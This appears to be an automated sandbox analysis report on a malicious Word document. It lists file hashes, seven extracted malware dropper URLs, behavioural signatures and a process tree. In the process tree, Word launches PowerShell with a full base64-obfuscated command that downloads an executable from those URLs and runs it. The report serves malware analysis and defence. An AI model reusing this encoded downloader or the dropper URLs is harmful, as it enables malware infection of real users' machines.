Analysis

  • max time kernel
    133s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 17:17

General

  • Target

    変化2020_09_21.doc

  • Size

    226KB

  • MD5

    bed59b3b123aa2e8b1d36859b1b5c60b

  • SHA1

    2b725311b53c403b6d82e37b908b70524108492f

  • SHA256

    54e1a4176420673330f526f973cfbf239a62b620f783fb4a8ecdf0f5082995df

  • SHA512

    bf16b82b2389c6e19c5311ec9a1c366ee3f913177bf6251a9d1a9df0b421499b0e6caa2084e831952b449bfdaa5072950cf4a7ec306f281f0c82ed8df4708f1c

  • SSDEEP

    3072:f4PrXcuQuvpzm4bkiaMQgAlShlK4fbSp/A:QDRv1m4bnQgISrKQep/A

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://marmolhi.com/_vti_bin/0nNKKlWZ4/

exe.dropper

https://comerciopuravida.com/wp-admin/qqUV32Q/

exe.dropper

http://www.closmaq.com.br/wp-admin/nc/

exe.dropper

http://pulseti.com/isla/61D/

exe.dropper

https://hotelunique.com/teste/oxda9J0BvF/

exe.dropper

http://greensync.com.br/aspnet_clientOld/Xyicd/

exe.dropper

http://muabannodanluat.com/wp-admin/css/colors/kIxtL8/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\変化2020_09_21.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2384
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABPAGcAOABiAHcAMgByAD0AKAAnAFMAJwArACgAJwAyACcAKwAnAGUAOQAzAGIAXwAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAHIAbwBGAGkAbABlAFwATgBOAF8AVgBEADAAMABcAFcAOAA3AGMAVQBaAEYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBgAGkAYABUAFkAYABQAFIAbwB0AE8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACkAKwAoACcAIAB0AGwAcwAnACsAJwAxADEAJwApACsAKAAnACwAJwArACcAIAB0ACcAKQArACcAbABzACcAKQA7ACQARgBkAGgAZAB2AHYAXwAgAD0AIAAoACcAQgBzACcAKwAoACcAeABnACcAKwAnADQAbQBlACcAKQArACcAaQAnACkAOwAkAFYANwBjADEANgBtAHUAPQAoACgAJwBFAHQAJwArACcAbwB5ACcAKQArACcAOQAnACsAJwBjADQAJwApADsAJABGAHEAMgAzAF8AdwA5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHIAQQAnACsAJwBDACcAKwAoACcATgAnACsAJwBuAF8AdgBkACcAKwAnADAAMAAnACsAJwByAEEAQwBXADgAJwArACcANwBjAHUAegBmACcAKwAnAHIAJwApACsAJwBBAEMAJwApAC4AIgByAGUAcABgAGwAQQBDAEUAIgAoACgAWwBjAGgAQQBSAF0AMQAxADQAKwBbAGMAaABBAFIAXQA2ADUAKwBbAGMAaABBAFIAXQA2ADcAKQAsAFsAUwB0AHIASQBuAGcAXQBbAGMAaABBAFIAXQA5ADIAKQApACsAJABGAGQAaABkAHYAdgBfACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQATwA3AG0ANgBiAGYANQA9ACgAJwBKAGIAJwArACgAJwBjAGMAJwArACcAMAAnACkAKwAnAGkAaQAnACkAOwAkAFYAcgBvAGUAcgBtAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBFAEIAQwBMAEkAZQBOAHQAOwAkAEEAeAB5AG0AYQBfAGUAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwBtAGEAcgAnACkAKwAoACcAbQBvACcAKwAnAGwAaABpAC4AYwBvAG0ALwAnACsAJwBfACcAKwAnAHYAJwApACsAJwB0ACcAKwAnAGkAXwAnACsAKAAnAGIAJwArACcAaQBuAC8AMABuAE4ASwAnACsAJwBLACcAKQArACcAbABXACcAKwAnAFoAJwArACgAJwA0AC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAJwArACcAcABzADoAJwArACcALwAvAGMAbwBtACcAKQArACgAJwBlAHIAYwAnACsAJwBpAG8AcAAnACsAJwB1AHIAYQB2ACcAKwAnAGkAJwArACcAZABhACcAKQArACcALgAnACsAKAAnAGMAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AaQBuAC8AJwApACsAKAAnAHEAJwArACcAcQBVACcAKQArACcAVgAzACcAKwAoACcAMgAnACsAJwBRAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYwBsAG8AJwArACcAcwAnACkAKwAnAG0AYQAnACsAJwBxAC4AJwArACgAJwBjAG8AbQAnACsAJwAuAGIAJwApACsAJwByACcAKwAoACcALwB3AHAALQBhACcAKwAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvAG4AJwArACgAJwBjACcAKwAnAC8AKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAJwArACcAOgAvAC8AcAB1ACcAKwAnAGwAcwBlACcAKQArACgAJwB0AGkAJwArACcALgBjAG8AJwApACsAKAAnAG0AJwArACcALwBpACcAKQArACcAcwBsACcAKwAoACcAYQAvADYAMQBEAC8AJwArACcAKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGgAJwApACsAKAAnAG8AdABlACcAKwAnAGwAdQBuAGkAJwArACcAcQAnACkAKwAoACcAdQBlACcAKwAnAC4AJwApACsAJwBjAG8AJwArACcAbQAvACcAKwAoACcAdABlACcAKwAnAHMAdABlAC8AbwB4ACcAKQArACgAJwBkAGEAOQAnACsAJwBKACcAKQArACgAJwAwACcAKwAnAEIAdgAnACkAKwAnAEYALwAnACsAJwAqACcAKwAoACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBnACcAKwAnAHIAZQAnACkAKwAoACcAZQBuAHMAJwArACcAeQBuAGMAJwArACcALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALgBiACcAKwAnAHIAJwApACsAJwAvAGEAJwArACgAJwBzAHAAbgAnACsAJwBlACcAKQArACcAdAAnACsAJwBfAGMAJwArACcAbAAnACsAKAAnAGkAZQAnACsAJwBuACcAKQArACcAdAAnACsAKAAnAE8AbAAnACsAJwBkACcAKQArACgAJwAvAFgAeQBpAGMAZAAnACsAJwAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvAG0AdQBhAGIAJwApACsAKAAnAGEAJwArACcAbgAnACsAJwBuAG8AJwArACcAZABhAG4AbAB1AGEAdAAnACkAKwAoACcALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAnACkAKwAoACcALQBhAGQAbQBpAG4ALwAnACsAJwBjAHMAcwAvAGMAJwArACcAbwAnACkAKwAnAGwAJwArACcAbwByACcAKwAoACcAcwAvACcAKwAnAGsAJwApACsAJwBJAHgAJwArACcAdABMACcAKwAnADgALwAnACkALgAiAHMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgB2ADQANgBwAHoANgA9ACgAJwBPACcAKwAoACcAXwAnACsAJwB3AHQAJwApACsAKAAnAHYANgAnACsAJwBkACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARABiAGYAZgB0ADQAOAAgAGkAbgAgACQAQQB4AHkAbQBhAF8AZQApAHsAdAByAHkAewAkAFYAcgBvAGUAcgBtAHMALgAiAEQAYABvAHcAbgBsAGAATwBBAEQAZgBpAGAAbABFACIAKAAkAEQAYgBmAGYAdAA0ADgALAAgACQARgBxADIAMwBfAHcAOQApADsAJABWAGwAaQBxADMAbwBwAD0AKAAoACcAQgBmAG4ANQAnACsAJwBqACcAKQArACcAcwBfACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABGAHEAMgAzAF8AdwA5ACkALgAiAGwAYABFAGAATgBnAHQASAAiACAALQBnAGUAIAAzADgAMwA5ADYAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQARgBxADIAMwBfAHcAOQApADsAJABJAF8AbgBrADkAcQA3AD0AKAAnAFgAawAnACsAKAAnAGMAdAAnACsAJwBsAG0AcwAnACkAKQA7AGIAcgBlAGEAawA7ACQAUQBpAHgAYQA0AGwAawA9ACgAJwBEADUAJwArACgAJwBqAG0AYgAnACsAJwBmAGQAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAaQBqADYAMgBmADgAPQAoACgAJwBKAG8AJwArACcANgAnACkAKwAoACcAZABuACcAKwAnAGUAMQAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4460

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCDD1BD.tmp\sist02.xsl

    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_twjqkxbv.4m2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2384-8-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-3-0x00007FFF74A50000-0x00007FFF74A60000-memory.dmp

    Filesize

    64KB

  • memory/2384-17-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-2-0x00007FFF74A50000-0x00007FFF74A60000-memory.dmp

    Filesize

    64KB

  • memory/2384-6-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-7-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-1-0x00007FFFB4A6D000-0x00007FFFB4A6E000-memory.dmp

    Filesize

    4KB

  • memory/2384-9-0x00007FFF72480000-0x00007FFF72490000-memory.dmp

    Filesize

    64KB

  • memory/2384-10-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-11-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-12-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-14-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-15-0x00007FFF72480000-0x00007FFF72490000-memory.dmp

    Filesize

    64KB

  • memory/2384-13-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-0-0x00007FFF74A50000-0x00007FFF74A60000-memory.dmp

    Filesize

    64KB

  • memory/2384-19-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-5-0x00007FFF74A50000-0x00007FFF74A60000-memory.dmp

    Filesize

    64KB

  • memory/2384-18-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-38-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-41-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-16-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-124-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-4-0x00007FFF74A50000-0x00007FFF74A60000-memory.dmp

    Filesize

    64KB

  • memory/2384-105-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-106-0x00007FFFB4A6D000-0x00007FFFB4A6E000-memory.dmp

    Filesize

    4KB

  • memory/2384-107-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-110-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/2384-118-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4460-117-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4460-88-0x000001EC7AD00000-0x000001EC7AD22000-memory.dmp

    Filesize

    136KB

  • memory/4460-85-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

    Filesize

    2.0MB